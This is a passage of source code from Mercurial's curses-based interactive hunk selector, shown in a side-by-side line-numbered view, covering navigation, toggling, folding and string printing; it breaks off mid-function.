615 _headermessages = { # {operation: text}
615 b'apply': _(b'Select hunks to apply'),
616 b'apply': _(b'Select hunks to apply'),
616 b'discard': _(b'Select hunks to discard'),
617 b'discard': _(b'Select hunks to discard'),
617 b'keep': _(b'Select hunks to keep'),
618 b'keep': _(b'Select hunks to keep'),
618 None: _(b'Select hunks to record'),
619 None: _(b'Select hunks to record'),
619 }
620 }
620
621
621
622
622 class curseschunkselector(object):
623 class curseschunkselector(object):
623 def __init__(self, headerlist, ui, operation=None):
624 def __init__(self, headerlist, ui, operation=None):
624 # put the headers into a patch object
625 # put the headers into a patch object
625 self.headerlist = patch(headerlist)
626 self.headerlist = patch(headerlist)
626
627
627 self.ui = ui
628 self.ui = ui
628 self.opts = {}
629 self.opts = {}
629
630
630 self.errorstr = None
631 self.errorstr = None
631 # list of all chunks
632 # list of all chunks
632 self.chunklist = []
633 self.chunklist = []
633 for h in headerlist:
634 for h in headerlist:
634 self.chunklist.append(h)
635 self.chunklist.append(h)
635 self.chunklist.extend(h.hunks)
636 self.chunklist.extend(h.hunks)
636
637
637 # dictionary mapping (fgcolor, bgcolor) pairs to the
638 # dictionary mapping (fgcolor, bgcolor) pairs to the
638 # corresponding curses color-pair value.
639 # corresponding curses color-pair value.
639 self.colorpairs = {}
640 self.colorpairs = {}
640 # maps custom nicknames of color-pairs to curses color-pair values
641 # maps custom nicknames of color-pairs to curses color-pair values
641 self.colorpairnames = {}
642 self.colorpairnames = {}
642
643
643 # Honor color setting of ui section. Keep colored setup as
644 # Honor color setting of ui section. Keep colored setup as
644 # long as not explicitly set to a falsy value - especially,
645 # long as not explicitly set to a falsy value - especially,
645 # when not set at all. This is to stay most compatible with
646 # when not set at all. This is to stay most compatible with
646 # previous (color only) behaviour.
647 # previous (color only) behaviour.
647 uicolor = stringutil.parsebool(self.ui.config(b'ui', b'color'))
648 uicolor = stringutil.parsebool(self.ui.config(b'ui', b'color'))
648 self.usecolor = uicolor is not False
649 self.usecolor = uicolor is not False
649
650
650 # the currently selected header, hunk, or hunk-line
651 # the currently selected header, hunk, or hunk-line
651 self.currentselecteditem = self.headerlist[0]
652 self.currentselecteditem = self.headerlist[0]
652 self.lastapplieditem = None
653 self.lastapplieditem = None
653
654
654 # updated when printing out patch-display -- the 'lines' here are the
655 # updated when printing out patch-display -- the 'lines' here are the
655 # line positions *in the pad*, not on the screen.
656 # line positions *in the pad*, not on the screen.
656 self.selecteditemstartline = 0
657 self.selecteditemstartline = 0
657 self.selecteditemendline = None
658 self.selecteditemendline = None
658
659
659 # define indentation levels
660 # define indentation levels
660 self.headerindentnumchars = 0
661 self.headerindentnumchars = 0
661 self.hunkindentnumchars = 3
662 self.hunkindentnumchars = 3
662 self.hunklineindentnumchars = 6
663 self.hunklineindentnumchars = 6
663
664
664 # the first line of the pad to print to the screen
665 # the first line of the pad to print to the screen
665 self.firstlineofpadtoprint = 0
666 self.firstlineofpadtoprint = 0
666
667
667 # keeps track of the number of lines in the pad
668 # keeps track of the number of lines in the pad
668 self.numpadlines = None
669 self.numpadlines = None
669
670
670 self.numstatuslines = 1
671 self.numstatuslines = 1
671
672
672 # keep a running count of the number of lines printed to the pad
673 # keep a running count of the number of lines printed to the pad
673 # (used for determining when the selected item begins/ends)
674 # (used for determining when the selected item begins/ends)
674 self.linesprintedtopadsofar = 0
675 self.linesprintedtopadsofar = 0
675
676
676 # stores optional text for a commit comment provided by the user
677 # stores optional text for a commit comment provided by the user
677 self.commenttext = b""
678 self.commenttext = b""
678
679
679 # if the last 'toggle all' command caused all changes to be applied
680 # if the last 'toggle all' command caused all changes to be applied
680 self.waslasttoggleallapplied = True
681 self.waslasttoggleallapplied = True
681
682
682 # affects some ui text
683 # affects some ui text
683 if operation not in _headermessages:
684 if operation not in _headermessages:
684 raise error.ProgrammingError(
685 raise error.ProgrammingError(
685 b'unexpected operation: %s' % operation
686 b'unexpected operation: %s' % operation
686 )
687 )
687 self.operation = operation
688 self.operation = operation
688
689
689 def uparrowevent(self):
690 def uparrowevent(self):
690 """
691 """
691 try to select the previous item to the current item that has the
692 try to select the previous item to the current item that has the
692 most-indented level. for example, if a hunk is selected, try to select
693 most-indented level. for example, if a hunk is selected, try to select
693 the last hunkline of the hunk prior to the selected hunk. or, if
694 the last hunkline of the hunk prior to the selected hunk. or, if
694 the first hunkline of a hunk is currently selected, then select the
695 the first hunkline of a hunk is currently selected, then select the
695 hunk itself.
696 hunk itself.
696 """
697 """
697 currentitem = self.currentselecteditem
698 currentitem = self.currentselecteditem
698
699
699 nextitem = currentitem.previtem()
700 nextitem = currentitem.previtem()
700
701
701 if nextitem is None:
702 if nextitem is None:
702 # if no parent item (i.e. currentitem is the first header), then
703 # if no parent item (i.e. currentitem is the first header), then
703 # no change...
704 # no change...
704 nextitem = currentitem
705 nextitem = currentitem
705
706
706 self.currentselecteditem = nextitem
707 self.currentselecteditem = nextitem
707
708
708 def uparrowshiftevent(self):
709 def uparrowshiftevent(self):
709 """
710 """
710 select (if possible) the previous item on the same level as the
711 select (if possible) the previous item on the same level as the
711 currently selected item. otherwise, select (if possible) the
712 currently selected item. otherwise, select (if possible) the
712 parent-item of the currently selected item.
713 parent-item of the currently selected item.
713 """
714 """
714 currentitem = self.currentselecteditem
715 currentitem = self.currentselecteditem
715 nextitem = currentitem.prevsibling()
716 nextitem = currentitem.prevsibling()
716 # if there's no previous sibling, try choosing the parent
717 # if there's no previous sibling, try choosing the parent
717 if nextitem is None:
718 if nextitem is None:
718 nextitem = currentitem.parentitem()
719 nextitem = currentitem.parentitem()
719 if nextitem is None:
720 if nextitem is None:
720 # if no parent item (i.e. currentitem is the first header), then
721 # if no parent item (i.e. currentitem is the first header), then
721 # no change...
722 # no change...
722 nextitem = currentitem
723 nextitem = currentitem
723
724
724 self.currentselecteditem = nextitem
725 self.currentselecteditem = nextitem
725 self.recenterdisplayedarea()
726 self.recenterdisplayedarea()
726
727
727 def downarrowevent(self):
728 def downarrowevent(self):
728 """
729 """
729 try to select the next item to the current item that has the
730 try to select the next item to the current item that has the
730 most-indented level. for example, if a hunk is selected, select
731 most-indented level. for example, if a hunk is selected, select
731 the first hunkline of the selected hunk. or, if the last hunkline of
732 the first hunkline of the selected hunk. or, if the last hunkline of
732 a hunk is currently selected, then select the next hunk, if one exists,
733 a hunk is currently selected, then select the next hunk, if one exists,
733 or if not, the next header if one exists.
734 or if not, the next header if one exists.
734 """
735 """
735 # self.startprintline += 1 #debug
736 # self.startprintline += 1 #debug
736 currentitem = self.currentselecteditem
737 currentitem = self.currentselecteditem
737
738
738 nextitem = currentitem.nextitem()
739 nextitem = currentitem.nextitem()
739 # if there's no next item, keep the selection as-is
740 # if there's no next item, keep the selection as-is
740 if nextitem is None:
741 if nextitem is None:
741 nextitem = currentitem
742 nextitem = currentitem
742
743
743 self.currentselecteditem = nextitem
744 self.currentselecteditem = nextitem
744
745
745 def downarrowshiftevent(self):
746 def downarrowshiftevent(self):
746 """
747 """
747 select (if possible) the next item on the same level as the currently
748 select (if possible) the next item on the same level as the currently
748 selected item. otherwise, select (if possible) the next item on the
749 selected item. otherwise, select (if possible) the next item on the
749 same level as the parent item of the currently selected item.
750 same level as the parent item of the currently selected item.
750 """
751 """
751 currentitem = self.currentselecteditem
752 currentitem = self.currentselecteditem
752 nextitem = currentitem.nextsibling()
753 nextitem = currentitem.nextsibling()
753 # if there's no next sibling, try choosing the parent's nextsibling
754 # if there's no next sibling, try choosing the parent's nextsibling
754 if nextitem is None:
755 if nextitem is None:
755 try:
756 try:
756 nextitem = currentitem.parentitem().nextsibling()
757 nextitem = currentitem.parentitem().nextsibling()
757 except AttributeError:
758 except AttributeError:
758 # parentitem returned None, so nextsibling() can't be called
759 # parentitem returned None, so nextsibling() can't be called
759 nextitem = None
760 nextitem = None
760 if nextitem is None:
761 if nextitem is None:
761 # if parent has no next sibling, then no change...
762 # if parent has no next sibling, then no change...
762 nextitem = currentitem
763 nextitem = currentitem
763
764
764 self.currentselecteditem = nextitem
765 self.currentselecteditem = nextitem
765 self.recenterdisplayedarea()
766 self.recenterdisplayedarea()
766
767
767 def nextsametype(self, test=False):
768 def nextsametype(self, test=False):
768 currentitem = self.currentselecteditem
769 currentitem = self.currentselecteditem
769 sametype = lambda item: isinstance(item, type(currentitem))
770 sametype = lambda item: isinstance(item, type(currentitem))
770 nextitem = currentitem.nextitem()
771 nextitem = currentitem.nextitem()
771
772
772 while nextitem is not None and not sametype(nextitem):
773 while nextitem is not None and not sametype(nextitem):
773 nextitem = nextitem.nextitem()
774 nextitem = nextitem.nextitem()
774
775
775 if nextitem is None:
776 if nextitem is None:
776 nextitem = currentitem
777 nextitem = currentitem
777 else:
778 else:
778 parent = nextitem.parentitem()
779 parent = nextitem.parentitem()
779 if parent is not None and parent.folded:
780 if parent is not None and parent.folded:
780 self.togglefolded(parent)
781 self.togglefolded(parent)
781
782
782 self.currentselecteditem = nextitem
783 self.currentselecteditem = nextitem
783 if not test:
784 if not test:
784 self.recenterdisplayedarea()
785 self.recenterdisplayedarea()
785
786
786 def rightarrowevent(self):
787 def rightarrowevent(self):
787 """
788 """
788 select (if possible) the first of this item's child-items.
789 select (if possible) the first of this item's child-items.
789 """
790 """
790 currentitem = self.currentselecteditem
791 currentitem = self.currentselecteditem
791 nextitem = currentitem.firstchild()
792 nextitem = currentitem.firstchild()
792
793
793 # turn off folding if we want to show a child-item
794 # turn off folding if we want to show a child-item
794 if currentitem.folded:
795 if currentitem.folded:
795 self.togglefolded(currentitem)
796 self.togglefolded(currentitem)
796
797
797 if nextitem is None:
798 if nextitem is None:
798 # if no next item on parent-level, then no change...
799 # if no next item on parent-level, then no change...
799 nextitem = currentitem
800 nextitem = currentitem
800
801
801 self.currentselecteditem = nextitem
802 self.currentselecteditem = nextitem
802
803
803 def leftarrowevent(self):
804 def leftarrowevent(self):
804 """
805 """
805 if the current item can be folded (i.e. it is an unfolded header or
806 if the current item can be folded (i.e. it is an unfolded header or
806 hunk), then fold it. otherwise try select (if possible) the parent
807 hunk), then fold it. otherwise try select (if possible) the parent
807 of this item.
808 of this item.
808 """
809 """
809 currentitem = self.currentselecteditem
810 currentitem = self.currentselecteditem
810
811
811 # try to fold the item
812 # try to fold the item
812 if not isinstance(currentitem, uihunkline):
813 if not isinstance(currentitem, uihunkline):
813 if not currentitem.folded:
814 if not currentitem.folded:
814 self.togglefolded(item=currentitem)
815 self.togglefolded(item=currentitem)
815 return
816 return
816
817
817 # if it can't be folded, try to select the parent item
818 # if it can't be folded, try to select the parent item
818 nextitem = currentitem.parentitem()
819 nextitem = currentitem.parentitem()
819
820
820 if nextitem is None:
821 if nextitem is None:
821 # if no item on parent-level, then no change...
822 # if no item on parent-level, then no change...
822 nextitem = currentitem
823 nextitem = currentitem
823 if not nextitem.folded:
824 if not nextitem.folded:
824 self.togglefolded(item=nextitem)
825 self.togglefolded(item=nextitem)
825
826
826 self.currentselecteditem = nextitem
827 self.currentselecteditem = nextitem
827
828
828 def leftarrowshiftevent(self):
829 def leftarrowshiftevent(self):
829 """
830 """
830 select the header of the current item (or fold current item if the
831 select the header of the current item (or fold current item if the
831 current item is already a header).
832 current item is already a header).
832 """
833 """
833 currentitem = self.currentselecteditem
834 currentitem = self.currentselecteditem
834
835
835 if isinstance(currentitem, uiheader):
836 if isinstance(currentitem, uiheader):
836 if not currentitem.folded:
837 if not currentitem.folded:
837 self.togglefolded(item=currentitem)
838 self.togglefolded(item=currentitem)
838 return
839 return
839
840
840 # select the parent item recursively until we're at a header
841 # select the parent item recursively until we're at a header
841 while True:
842 while True:
842 nextitem = currentitem.parentitem()
843 nextitem = currentitem.parentitem()
843 if nextitem is None:
844 if nextitem is None:
844 break
845 break
845 else:
846 else:
846 currentitem = nextitem
847 currentitem = nextitem
847
848
848 self.currentselecteditem = currentitem
849 self.currentselecteditem = currentitem
849
850
850 def updatescroll(self):
851 def updatescroll(self):
851 """scroll the screen to fully show the currently-selected"""
852 """scroll the screen to fully show the currently-selected"""
852 selstart = self.selecteditemstartline
853 selstart = self.selecteditemstartline
853 selend = self.selecteditemendline
854 selend = self.selecteditemendline
854
855
855 padstart = self.firstlineofpadtoprint
856 padstart = self.firstlineofpadtoprint
856 padend = padstart + self.yscreensize - self.numstatuslines - 1
857 padend = padstart + self.yscreensize - self.numstatuslines - 1
857 # 'buffered' pad start/end values which scroll with a certain
858 # 'buffered' pad start/end values which scroll with a certain
858 # top/bottom context margin
859 # top/bottom context margin
859 padstartbuffered = padstart + 3
860 padstartbuffered = padstart + 3
860 padendbuffered = padend - 3
861 padendbuffered = padend - 3
861
862
862 if selend > padendbuffered:
863 if selend > padendbuffered:
863 self.scrolllines(selend - padendbuffered)
864 self.scrolllines(selend - padendbuffered)
864 elif selstart < padstartbuffered:
865 elif selstart < padstartbuffered:
865 # negative values scroll in pgup direction
866 # negative values scroll in pgup direction
866 self.scrolllines(selstart - padstartbuffered)
867 self.scrolllines(selstart - padstartbuffered)
867
868
868 def scrolllines(self, numlines):
869 def scrolllines(self, numlines):
869 """scroll the screen up (down) by numlines when numlines >0 (<0)."""
870 """scroll the screen up (down) by numlines when numlines >0 (<0)."""
870 self.firstlineofpadtoprint += numlines
871 self.firstlineofpadtoprint += numlines
871 if self.firstlineofpadtoprint < 0:
872 if self.firstlineofpadtoprint < 0:
872 self.firstlineofpadtoprint = 0
873 self.firstlineofpadtoprint = 0
873 if self.firstlineofpadtoprint > self.numpadlines - 1:
874 if self.firstlineofpadtoprint > self.numpadlines - 1:
874 self.firstlineofpadtoprint = self.numpadlines - 1
875 self.firstlineofpadtoprint = self.numpadlines - 1
875
876
876 def toggleapply(self, item=None):
877 def toggleapply(self, item=None):
877 """
878 """
878 toggle the applied flag of the specified item. if no item is specified,
879 toggle the applied flag of the specified item. if no item is specified,
879 toggle the flag of the currently selected item.
880 toggle the flag of the currently selected item.
880 """
881 """
881 if item is None:
882 if item is None:
882 item = self.currentselecteditem
883 item = self.currentselecteditem
883 # Only set this when NOT using 'toggleall'
884 # Only set this when NOT using 'toggleall'
884 self.lastapplieditem = item
885 self.lastapplieditem = item
885
886
886 item.applied = not item.applied
887 item.applied = not item.applied
887
888
888 if isinstance(item, uiheader):
889 if isinstance(item, uiheader):
889 item.partial = False
890 item.partial = False
890 if item.applied:
891 if item.applied:
891 # apply all its hunks
892 # apply all its hunks
892 for hnk in item.hunks:
893 for hnk in item.hunks:
893 hnk.applied = True
894 hnk.applied = True
894 # apply all their hunklines
895 # apply all their hunklines
895 for hunkline in hnk.changedlines:
896 for hunkline in hnk.changedlines:
896 hunkline.applied = True
897 hunkline.applied = True
897 else:
898 else:
898 # un-apply all its hunks
899 # un-apply all its hunks
899 for hnk in item.hunks:
900 for hnk in item.hunks:
900 hnk.applied = False
901 hnk.applied = False
901 hnk.partial = False
902 hnk.partial = False
902 # un-apply all their hunklines
903 # un-apply all their hunklines
903 for hunkline in hnk.changedlines:
904 for hunkline in hnk.changedlines:
904 hunkline.applied = False
905 hunkline.applied = False
905 elif isinstance(item, uihunk):
906 elif isinstance(item, uihunk):
906 item.partial = False
907 item.partial = False
907 # apply all it's hunklines
908 # apply all it's hunklines
908 for hunkline in item.changedlines:
909 for hunkline in item.changedlines:
909 hunkline.applied = item.applied
910 hunkline.applied = item.applied
910
911
911 siblingappliedstatus = [hnk.applied for hnk in item.header.hunks]
912 siblingappliedstatus = [hnk.applied for hnk in item.header.hunks]
912 allsiblingsapplied = not (False in siblingappliedstatus)
913 allsiblingsapplied = not (False in siblingappliedstatus)
913 nosiblingsapplied = not (True in siblingappliedstatus)
914 nosiblingsapplied = not (True in siblingappliedstatus)
914
915
915 siblingspartialstatus = [hnk.partial for hnk in item.header.hunks]
916 siblingspartialstatus = [hnk.partial for hnk in item.header.hunks]
916 somesiblingspartial = True in siblingspartialstatus
917 somesiblingspartial = True in siblingspartialstatus
917
918
918 # cases where applied or partial should be removed from header
919 # cases where applied or partial should be removed from header
919
920
920 # if no 'sibling' hunks are applied (including this hunk)
921 # if no 'sibling' hunks are applied (including this hunk)
921 if nosiblingsapplied:
922 if nosiblingsapplied:
922 if not item.header.special():
923 if not item.header.special():
923 item.header.applied = False
924 item.header.applied = False
924 item.header.partial = False
925 item.header.partial = False
925 else: # some/all parent siblings are applied
926 else: # some/all parent siblings are applied
926 item.header.applied = True
927 item.header.applied = True
927 item.header.partial = (
928 item.header.partial = (
928 somesiblingspartial or not allsiblingsapplied
929 somesiblingspartial or not allsiblingsapplied
929 )
930 )
930
931
931 elif isinstance(item, uihunkline):
932 elif isinstance(item, uihunkline):
932 siblingappliedstatus = [ln.applied for ln in item.hunk.changedlines]
933 siblingappliedstatus = [ln.applied for ln in item.hunk.changedlines]
933 allsiblingsapplied = not (False in siblingappliedstatus)
934 allsiblingsapplied = not (False in siblingappliedstatus)
934 nosiblingsapplied = not (True in siblingappliedstatus)
935 nosiblingsapplied = not (True in siblingappliedstatus)
935
936
936 # if no 'sibling' lines are applied
937 # if no 'sibling' lines are applied
937 if nosiblingsapplied:
938 if nosiblingsapplied:
938 item.hunk.applied = False
939 item.hunk.applied = False
939 item.hunk.partial = False
940 item.hunk.partial = False
940 elif allsiblingsapplied:
941 elif allsiblingsapplied:
941 item.hunk.applied = True
942 item.hunk.applied = True
942 item.hunk.partial = False
943 item.hunk.partial = False
943 else: # some siblings applied
944 else: # some siblings applied
944 item.hunk.applied = True
945 item.hunk.applied = True
945 item.hunk.partial = True
946 item.hunk.partial = True
946
947
947 parentsiblingsapplied = [
948 parentsiblingsapplied = [
948 hnk.applied for hnk in item.hunk.header.hunks
949 hnk.applied for hnk in item.hunk.header.hunks
949 ]
950 ]
950 noparentsiblingsapplied = not (True in parentsiblingsapplied)
951 noparentsiblingsapplied = not (True in parentsiblingsapplied)
951 allparentsiblingsapplied = not (False in parentsiblingsapplied)
952 allparentsiblingsapplied = not (False in parentsiblingsapplied)
952
953
953 parentsiblingspartial = [
954 parentsiblingspartial = [
954 hnk.partial for hnk in item.hunk.header.hunks
955 hnk.partial for hnk in item.hunk.header.hunks
955 ]
956 ]
956 someparentsiblingspartial = True in parentsiblingspartial
957 someparentsiblingspartial = True in parentsiblingspartial
957
958
958 # if all parent hunks are not applied, un-apply header
959 # if all parent hunks are not applied, un-apply header
959 if noparentsiblingsapplied:
960 if noparentsiblingsapplied:
960 if not item.hunk.header.special():
961 if not item.hunk.header.special():
961 item.hunk.header.applied = False
962 item.hunk.header.applied = False
962 item.hunk.header.partial = False
963 item.hunk.header.partial = False
963 # set the applied and partial status of the header if needed
964 # set the applied and partial status of the header if needed
964 else: # some/all parent siblings are applied
965 else: # some/all parent siblings are applied
965 item.hunk.header.applied = True
966 item.hunk.header.applied = True
966 item.hunk.header.partial = (
967 item.hunk.header.partial = (
967 someparentsiblingspartial or not allparentsiblingsapplied
968 someparentsiblingspartial or not allparentsiblingsapplied
968 )
969 )
969
970
970 def toggleall(self):
971 def toggleall(self):
971 """toggle the applied flag of all items."""
972 """toggle the applied flag of all items."""
972 if self.waslasttoggleallapplied: # then unapply them this time
973 if self.waslasttoggleallapplied: # then unapply them this time
973 for item in self.headerlist:
974 for item in self.headerlist:
974 if item.applied:
975 if item.applied:
975 self.toggleapply(item)
976 self.toggleapply(item)
976 else:
977 else:
977 for item in self.headerlist:
978 for item in self.headerlist:
978 if not item.applied:
979 if not item.applied:
979 self.toggleapply(item)
980 self.toggleapply(item)
980 self.waslasttoggleallapplied = not self.waslasttoggleallapplied
981 self.waslasttoggleallapplied = not self.waslasttoggleallapplied
981
982
982 def flipselections(self):
983 def flipselections(self):
983 """
984 """
984 Flip all selections. Every selected line is unselected and vice
985 Flip all selections. Every selected line is unselected and vice
985 versa.
986 versa.
986 """
987 """
987 for header in self.headerlist:
988 for header in self.headerlist:
988 for hunk in header.allchildren():
989 for hunk in header.allchildren():
989 for line in hunk.allchildren():
990 for line in hunk.allchildren():
990 self.toggleapply(line)
991 self.toggleapply(line)
991
992
992 def toggleallbetween(self):
993 def toggleallbetween(self):
993 """toggle applied on or off for all items in range [lastapplied,
994 """toggle applied on or off for all items in range [lastapplied,
994 current]. """
995 current]. """
995 if (
996 if (
996 not self.lastapplieditem
997 not self.lastapplieditem
997 or self.currentselecteditem == self.lastapplieditem
998 or self.currentselecteditem == self.lastapplieditem
998 ):
999 ):
999 # Treat this like a normal 'x'/' '
1000 # Treat this like a normal 'x'/' '
1000 self.toggleapply()
1001 self.toggleapply()
1001 return
1002 return
1002
1003
1003 startitem = self.lastapplieditem
1004 startitem = self.lastapplieditem
1004 enditem = self.currentselecteditem
1005 enditem = self.currentselecteditem
1005 # Verify that enditem is "after" startitem, otherwise swap them.
1006 # Verify that enditem is "after" startitem, otherwise swap them.
1006 for direction in [b'forward', b'reverse']:
1007 for direction in [b'forward', b'reverse']:
1007 nextitem = startitem.nextitem()
1008 nextitem = startitem.nextitem()
1008 while nextitem and nextitem != enditem:
1009 while nextitem and nextitem != enditem:
1009 nextitem = nextitem.nextitem()
1010 nextitem = nextitem.nextitem()
1010 if nextitem:
1011 if nextitem:
1011 break
1012 break
1012 # Looks like we went the wrong direction :)
1013 # Looks like we went the wrong direction :)
1013 startitem, enditem = enditem, startitem
1014 startitem, enditem = enditem, startitem
1014
1015
1015 if not nextitem:
1016 if not nextitem:
1016 # We didn't find a path going either forward or backward? Don't know
1017 # We didn't find a path going either forward or backward? Don't know
1017 # how this can happen, let's not crash though.
1018 # how this can happen, let's not crash though.
1018 return
1019 return
1019
1020
1020 nextitem = startitem
1021 nextitem = startitem
1021 # Switch all items to be the opposite state of the currently selected
1022 # Switch all items to be the opposite state of the currently selected
1022 # item. Specifically:
1023 # item. Specifically:
1023 # [ ] startitem
1024 # [ ] startitem
1024 # [x] middleitem
1025 # [x] middleitem
1025 # [ ] enditem <-- currently selected
1026 # [ ] enditem <-- currently selected
1026 # This will turn all three on, since the currently selected item is off.
1027 # This will turn all three on, since the currently selected item is off.
1027 # This does *not* invert each item (i.e. middleitem stays marked/on)
1028 # This does *not* invert each item (i.e. middleitem stays marked/on)
1028 desiredstate = not self.currentselecteditem.applied
1029 desiredstate = not self.currentselecteditem.applied
1029 while nextitem != enditem.nextitem():
1030 while nextitem != enditem.nextitem():
1030 if nextitem.applied != desiredstate:
1031 if nextitem.applied != desiredstate:
1031 self.toggleapply(item=nextitem)
1032 self.toggleapply(item=nextitem)
1032 nextitem = nextitem.nextitem()
1033 nextitem = nextitem.nextitem()
1033
1034
1034 def togglefolded(self, item=None, foldparent=False):
1035 def togglefolded(self, item=None, foldparent=False):
1035 """toggle folded flag of specified item (defaults to currently
1036 """toggle folded flag of specified item (defaults to currently
1036 selected)"""
1037 selected)"""
1037 if item is None:
1038 if item is None:
1038 item = self.currentselecteditem
1039 item = self.currentselecteditem
1039 if foldparent or (isinstance(item, uiheader) and item.neverunfolded):
1040 if foldparent or (isinstance(item, uiheader) and item.neverunfolded):
1040 if not isinstance(item, uiheader):
1041 if not isinstance(item, uiheader):
1041 # we need to select the parent item in this case
1042 # we need to select the parent item in this case
1042 self.currentselecteditem = item = item.parentitem()
1043 self.currentselecteditem = item = item.parentitem()
1043 elif item.neverunfolded:
1044 elif item.neverunfolded:
1044 item.neverunfolded = False
1045 item.neverunfolded = False
1045
1046
1046 # also fold any foldable children of the parent/current item
1047 # also fold any foldable children of the parent/current item
1047 if isinstance(item, uiheader): # the original or 'new' item
1048 if isinstance(item, uiheader): # the original or 'new' item
1048 for child in item.allchildren():
1049 for child in item.allchildren():
1049 child.folded = not item.folded
1050 child.folded = not item.folded
1050
1051
1051 if isinstance(item, (uiheader, uihunk)):
1052 if isinstance(item, (uiheader, uihunk)):
1052 item.folded = not item.folded
1053 item.folded = not item.folded
1053
1054
1054 def alignstring(self, instr, window):
1055 def alignstring(self, instr, window):
1055 """
1056 """
1056 add whitespace to the end of a string in order to make it fill
1057 add whitespace to the end of a string in order to make it fill
1057 the screen in the x direction. the current cursor position is
1058 the screen in the x direction. the current cursor position is
1058 taken into account when making this calculation. the string can span
1059 taken into account when making this calculation. the string can span
1059 multiple lines.
1060 multiple lines.
1060 """
1061 """
1061 y, xstart = window.getyx()
1062 y, xstart = window.getyx()
1062 width = self.xscreensize
1063 width = self.xscreensize
1063 # turn tabs into spaces
1064 # turn tabs into spaces
1064 instr = instr.expandtabs(4)
1065 instr = instr.expandtabs(4)
1065 strwidth = encoding.colwidth(instr)
1066 strwidth = encoding.colwidth(instr)
1066 numspaces = width - ((strwidth + xstart) % width)
1067 numspaces = width - ((strwidth + xstart) % width)
1067 return instr + b" " * numspaces
1068 return instr + b" " * numspaces
1068
1069
1069 def printstring(
1070 def printstring(
1070 self,
1071 self,
1071 window,
1072 window,
1072 text,
1073 text,
1073 fgcolor=None,
1074 fgcolor=None,
1074 bgcolor=None,
1075 bgcolor=None,
1075 pair=None,
1076 pair=None,
1076 pairname=None,
1077 pairname=None,
1077 attrlist=None,
1078 attrlist=None,
1078 towin=True,
1079 towin=True,
1079 align=True,
1080 align=True,
1080 showwhtspc=False,
1081 showwhtspc=False,
1081 ):
1082 ):
1082 """
1083 """
1083 print the string, text, with the specified colors and attributes, to
1084 print the string, text, with the specified colors and attributes, to
1084 the specified curses window object.
1085 the specified curses window object.
1085
1086
1086 the foreground and background colors are of the form
1087 the foreground and background colors are of the form
1087 curses.color_xxxx, where xxxx is one of: [black, blue, cyan, green,
1088 curses.color_xxxx, where xxxx is one of: [black, blue, cyan, green,
1088 magenta, red, white, yellow]. if pairname is provided, a color
1089 magenta, red, white, yellow]. if pairname is provided, a color
1089 pair will be looked up in the self.colorpairnames dictionary.
1090 pair will be looked up in the self.colorpairnames dictionary.
1090
1091
1091 attrlist is a list containing text attributes in the form of
1092 attrlist is a list containing text attributes in the form of
1092 curses.a_xxxx, where xxxx can be: [bold, dim, normal, standout,
1093 curses.a_xxxx, where xxxx can be: [bold, dim, normal, standout,
1093 underline].
1094 underline].
1094
1095
1095 if align == True, whitespace is added to the printed string such that
1096 if align == True, whitespace is added to the printed string such that
1096 the string stretches to the right border of the window.
1097 the string stretches to the right border of the window.
1097
1098
1098 if showwhtspc == True, trailing whitespace of a string is highlighted.
1099 if showwhtspc == True, trailing whitespace of a string is highlighted.
1099 """
1100 """
1100 # preprocess the text, converting tabs to spaces
1101 # preprocess the text, converting tabs to spaces
1101 text = text.expandtabs(4)
1102 text = text.expandtabs(4)
1102 # strip \n, and convert control characters to ^[char] representation
1103 # strip \n, and convert control characters to ^[char] representation
1103 text = re.sub(
1104 text = re.sub(
1104 br'[\x00-\x08\x0a-\x1f]',
1105 br'[\x00-\x08\x0a-\x1f]',
1105 lambda m: b'^' + pycompat.sysbytes(chr(ord(m.group()) + 64)),
1106 lambda m: b'^' + pycompat.sysbytes(chr(ord(m.group()) + 64)),
1106 text.strip(b'\n'),
1107 text.strip(b'\n'),
1107 )
1108 )
1108
1109
1109 if pair is not None:
1110 if pair is not None:
1110 colorpair = pair
1111 colorpair = pair
1111 elif pairname is not None:
1112 elif pairname is not None:
1112 colorpair = self.colorpairnames[pairname]
1113 colorpair = self.colorpairnames[pairname]
1113 else:
1114 else:
1114 if fgcolor is None:
1115 if fgcolor is None:
1115 fgcolor = -1
1116 fgcolor = -1
1116 if bgcolor is None:
1117 if bgcolor is None:
1117 bgcolor = -1
1118 bgcolor = -1
1118 if (fgcolor, bgcolor) in self.colorpairs:
1119 if (fgcolor, bgcolor) in self.colorpairs:
1119 colorpair = self.colorpairs[(fgcolor, bgcolor)]
1120 colorpair = self.colorpairs[(fgcolor, bgcolor)]
1120 else:
1121 else:
1121 colorpair = self.getcolorpair(fgcolor, bgcolor)
1122 colorpair = self.getcolorpair(fgcolor, bgcolor)
1122 # add attributes if possible
1123 # add attributes if possible
1123 if attrlist is None:
1124 if attrlist is None:
1124 attrlist = []
1125 attrlist = []
1125 if colorpair < 256:
1126 if colorpair < 256:
1126 # then it is safe to apply all attributes
1127 # then it is safe to apply all attributes
1127 for textattr in attrlist:
1128 for textattr in attrlist:
1128 colorpair |= textattr
1129 colorpair |= textattr
1129 else:
1130 else:
1130 # just apply a select few (safe?) attributes
1131 # just apply a select few (safe?) attributes
1131 for textattr in (curses.A_UNDERLINE, curses.A_BOLD):
1132 for textattr in (curses.A_UNDERLINE, curses.A_BOLD):
1132 if textattr in attrlist:
1133 if textattr in attrlist:
1133 colorpair |= textattr
1134 colorpair |= textattr
1134
1135
1135 y, xstart = self.chunkpad.getyx()
1136 y, xstart = self.chunkpad.getyx()
1136 t = b"" # variable for counting lines printed
1137 t = b"" # variable for counting lines printed
1137 # if requested, show trailing whitespace
1138 # if requested, show trailing whitespace
1138 if showwhtspc:
1139 if showwhtspc:
1139 origlen = len(text)
1140 origlen = len(text)
1140 text = text.rstrip(b' \n') # tabs have already been expanded
1141 text = text.rstrip(b' \n') # tabs have already been expanded
1141 strippedlen = len(text)
1142 strippedlen = len(text)
1142 numtrailingspaces = origlen - strippedlen
1143 numtrailingspaces = origlen - strippedlen
1143
1144
1144 if towin:
1145 if towin:
1145 window.addstr(text, colorpair)
1146 window.addstr(text, colorpair)
1146 t += text
1147 t += text
1147
1148
1148 if showwhtspc:
1149 if showwhtspc:
1149 wscolorpair = colorpair | curses.A_REVERSE
1150 wscolorpair = colorpair | curses.A_REVERSE
1150 if towin:
1151 if towin:
1151 for i in range(numtrailingspaces):
1152 for i in range(numtrailingspaces):
1152 window.addch(curses.ACS_CKBOARD, wscolorpair)
1153 window.addch(curses.ACS_CKBOARD, wscolorpair)
1153 t += b" " * numtrailingspaces
1154 t += b" " * numtrailingspaces
1154
1155
1155 if align:
1156 if align:
1156 if towin:
1157 if towin:
1157 extrawhitespace = self.alignstring(b"", window)
